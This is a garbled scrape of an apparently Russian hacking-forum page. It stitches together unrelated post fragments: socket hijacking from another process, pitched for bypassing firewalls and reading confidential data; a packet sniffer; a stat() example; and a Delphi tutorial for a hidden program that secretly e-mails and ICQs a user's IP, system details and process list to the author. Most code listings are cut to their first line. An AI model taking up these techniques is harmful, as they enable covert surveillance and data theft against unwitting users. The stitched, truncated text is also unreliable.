using System;Заключение. Конечно до полноценного брутфорсера этой программе далеко, но данные исходные коды вполне могут лечь в основу системы авторизации, продвинутого переборщика паролей, системы распределенных вычислений и чего-либо другого. По крайней мере, читатель теперь сумеет сгенерировать MD5-хеш. |
Операция “перехват”. Используем открытый сокет другого процесса.
Меня всегда интересовало, а можно ли похитить сокет другой программы и использовать его в своих целях? Еще как можно!
Обход фаервола, установка скрытых соединений, чтение конфиденциальных данных – это лишь немногое, что можно сделать, обладая сокетом. Метод перехвата прост и широко обсуждаем в интернете. Нам не потребуется глубоких знаний Windows, потому что все осуществимо из User Mode (ring 3), но для понимания основы знать просто необходимо. RTFM Джеффри Рихтер “Windows для профессионалов: создание эффективных Win32-приложений с учетом специфики 64-разрядной версии Windows”, глава 3 Метод заключатся в следующем
Код:
NTSTATUS ZwQuerySystemInformation(Для получения типа описателя функцию NtQueryObject Код:
NTSTATUS NtQueryObject(Копировать описатель – сокет в наш процесс мы будем функцией DuplicateHandle Листинг кода (VS2008 Win32->Console Project), демонстрирующий описанный выше метод для вывода всех открытых сокетов в системе. Код:
#include "stdafx.h"Множество примеров использования Tool Help и ZwQuerySystemInformation Недокументированные функции Windows NT/2K/XP/2003 |
Системный вызов stat
Системный вызов stat Программирование для linux.Если в консоли выполнить команду ls-l, то мы увидим кроме всего прочего, информацию о файлах, такую как: права доступа, uid. gid, размер и т.п. Для получения этой информации программно, нужно использовать вызов stat. Код:
stat(char *file,struct stat fbuf);В ней собственно и будет располагаться вся информация. Некоторые поля структуры: Код:
st_mode - тип, права доступа.Теперь давайте напишем пример - программа должна выводить размер указаного файла. Код:
------------------------------------------------------ |
Определение ТИЦ
PHP код:
|
Пример простейшего сниффера для W2K/XP.
Пример простейшего сниффера для W2K/XP.
Ниже приведён полный код программы. Данный код не претендует на звание крутого снифера, однако при желании его можно доработать, чтобы можно было просматривать содержимое пакетов. Так же на его основе можно легко сделать простой анализатор трафика. А главное - не надо делать всяких драйверов; всё просто и понятно. Суть этого сниффера заключается в том, что используются сокеты второй версии и созданный сокет переводится в режим promiscuous (прослушивания). http://i060.radikal.ru/0907/c2/f8d2334d1ab2.gif Цитата:
|
[Delphi] IP+cведения о системе на e-mail и ICQ
IP+cведения о системе на e-mail и ICQ В данной министатье я решил показать небольшой пример того, как можно получить IP пользователя и сведения о его системе, а потом отправить их себе на e-mail. Но нам этого мало. Пускай программа отправляет нам информацию еще и по ICQ. Сразу скажу, что данный материал рассчитан большим образом на новичков. Надеюсь кому-то мой труд пригодится. Итак, для этого нам понадобятся:
Рассмотрим, что должна будет делать наша программа: 1. Получить IP, сведения о системе и системных процессах. 2. Проверить подключение к интернету, и если мы в онлайне то 3. Отправить данные нам на ICQ. 4. Отправить письмо на наш e-mail. Итак, приступим. В uses подключим три модуля. Это Winsock (для процедуры получения IP), WinINET (для проверки соединения с интернетом) и Tlhelp32 (для получения списка процессов). С вкладки "ICQClient" разместим на форме компонент ICQClient. Думаю вы догадались для чего он. С вкладки "Indy Misc" - IdMessage. С вкладки "Indy Clients" - IdSMTP. Эти компоненты нужны для отправки письма на ваш e-mail. Ну и напоследок положим 2 таймера, один из них будет каждый определенный промежуток времени проверять, есть ли соединение к интернету, и если есть то отправит нам нужные данные. Далее опишем несколько нужных нам функций. В обработчике OnCreate главной формы вставим следующий код, скрывающий нашу форму от посторонних глаз: Код:
Application.ShowMainForm := false;Код:
function TForm1.IPstr(HostName:String) : String;Код:
function TForm1.GetOS: string;Код:
function TForm1.ProcessInfo: string;Код:
procedure TForm1.SendMail;Код:
procedure TForm1.Timer1Timer(Sender: TObject);Она будет нужна нам чтоб знать, когда наш пользователь ICQ подключится к серверу. Код:
logged: boolean = false;Код:
procedure TForm1.ICQClient1Login(Sender: TObject);Код:
procedure TForm1.Timer2Timer(Sender: TObject);Надеюсь вы не пожалели, что потратили время на чтение данного материала. Удачи! :) Исходники: http://slil.ru/28178545 http://depositfiles.com/files/a07uyv66x |
| Время: 20:29 |